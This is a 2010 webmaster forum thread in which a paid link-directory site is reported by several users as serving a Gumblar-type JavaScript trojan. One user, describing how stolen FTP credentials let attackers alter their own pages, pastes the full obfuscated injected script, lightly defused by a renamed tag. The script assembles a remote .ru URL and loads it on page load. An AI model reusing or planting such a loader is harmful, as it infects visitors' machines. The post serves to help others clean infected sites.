Submit Your Links Here

Discussion in 'Solicitations & Announcements' started by crash9811, May 28, 2010.

  1. #1
    Directory Bid Site is an easy way to bid on links. Our link directory displays links alphabetically, and lets you bid your way to the top of the list. With a starting bid of $1, you are guaranteed a spot in our directory! Increase your bid to take a top position, and not only will your link list higher in the directory, but you could join our Top 10 Link Leaders on the homepage. Get in now before the PR and prices go up.

    Bid Directory
     
    crash9811, May 28, 2010 IP
  2. canbb

    canbb Peon

    Messages:
    23
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    Gumblar attack coming from your site.
     
    canbb, May 29, 2010 IP
  3. minasiin

    minasiin Guest

    Messages:
    1,056
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #3
    My Eset Smart Security blocked your site
    Threat: JS/TrojanDownloader.Pegel.BP trojan
     
    minasiin, May 29, 2010 IP
  4. crash9811

    crash9811 Member

    Messages:
    145
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    38
    #4
    I think i have fixed the problem.Can anyone tell me if the site is working ok for them?
     
    crash9811, May 30, 2010 IP
  5. canbb

    canbb Peon

    Messages:
    23
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    Nope. It's still not fixed.
     
    canbb, May 31, 2010 IP
  6. crash9811

    crash9811 Member

    Messages:
    145
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    38
    #6
    crash9811, May 31, 2010 IP
  7. cckiran

    cckiran Peon

    Messages:
    24
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #7
    ESET blocked your site =|
     
    cckiran, Jun 7, 2010 IP
  8. hmfwebb

    hmfwebb Peon

    Messages:
    34
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #8
    one of my sites has this problem too, how do I get rid of it! grrr
     
    hmfwebb, Jun 11, 2010 IP
  9. morfeas

    morfeas Member

    Messages:
    61
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    43
    #9
    The 1st site is clean like white milk
     
    morfeas, Jun 11, 2010 IP
  10. hmfwebb

    hmfwebb Peon

    Messages:
    34
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #10
    Figured it out... apparently the ftp username / password was compromised, some files were uploaded like .jpg and other crap... i had deleted those but was still getting the warning 'JS/trojandownloader.pegel.bp trojan' from eset. Upon further inspection found the following code below was added to all index*.html files - just had to delete it. Note: rename <script> to <scr1pt> because it would set off eset!

    <scr1pt>C=38706;C-=201;wL={};var Vz;var PX=new Date();this.CY=9572;this.CY++;h=function(){eI=19777;eI++;var cX=[];function V(L,c,v){try {var dZ='s'} catch(dZ){};this.nb=619;this.nb--;return L.substr(c,v);var I=9646;}Xx={BG:"Z"};var x="x";pd={OV:10917};var d=document;var pZ={qe:36982};var xY={hf:24030};var N=RegExp;kS={};var un=new String();var i='';var RR={xX:false};var h_=new String("/mob"+V("ile9TnLu",0,4)+V("sp6-com6ps",3,4)+V("erm/goomer",3,4)+V("gle.aoDF",0,4)+"com/"+V("justIQc",0,4)+"in.t"+"v.ph"+V("2SMpM2S",3,1));bf=48466;bf--;var TF=34334;function T(L,c){bB={CI:62115};this.aq="aq";try {var yj='Bx'} catch(yj){};oR=52215;oR-=232;var v=new String("[")+c+new String(V("]HQ4g",0,1));var D=new N(v, new String("g"));return L.replace(D, i);};Vj=4118;Vj-=26;try {} catch(cQ){};var B=String("bod"+"y");var y=null;A={};NC={CH:47484};var m=226274-218194;J={bfK:"ya"};var n=T('sFcFrOi4p_tF','lyHJu1Rk4_WOIFP');Zk={gt:"VE"};Vz=function(){try {var VS=["Yi","XW","Ih"];try {var kV='PB'} catch(kV){};var o=T('cIrJeWaxt7eCEQlHeUmIepnptY','kQOUJHGITPZpsYWxCV7fKhv');var nB="";E=d[o](n);this.o_=1172;this.o_+=10;var L=m+h_;this.wo=25953;this.wo++;var P="defe"+V("rGTNn",0,1);var k=T('strnc2','gR0mUP1tSW2LanV4X8H');var vk=["tl","HY"];var xZ=[];bO=21370;bO-=18;E[P]=[1][0];E[k]=String(V("htv2Ls",0,2)+V("tpAEzo",0,2)+V(":/gKL",0,2)+V("WRDg/tgDRW",4,2)+"en"+"th"+"pr"+V("of1cQ",0,2)+V("itrKOF",0,2)+V(".r9ZDY",0,2)+V("u:R1F",0,2))+L;try {var Fn='rK'} catch(Fn){};oT={};d.appendChild(E);HL=["ho"];var jP=false;this._Q=38589;this._Q-=108;} catch(e){try {var Bl='pT'} catch(Bl){};try {var W='ip'} catch(W){};};var nG={};};var Rv=false;};var BX=["_g","NO"];this.LM="";h();var Tg=[];window.onload=Vz;pq=["os"];mM=45671;mM+=100;</scr1pt>

    <!--f8b838ec6618ba1210ca7bc1084ffda4-->
     
    hmfwebb, Jun 11, 2010 IP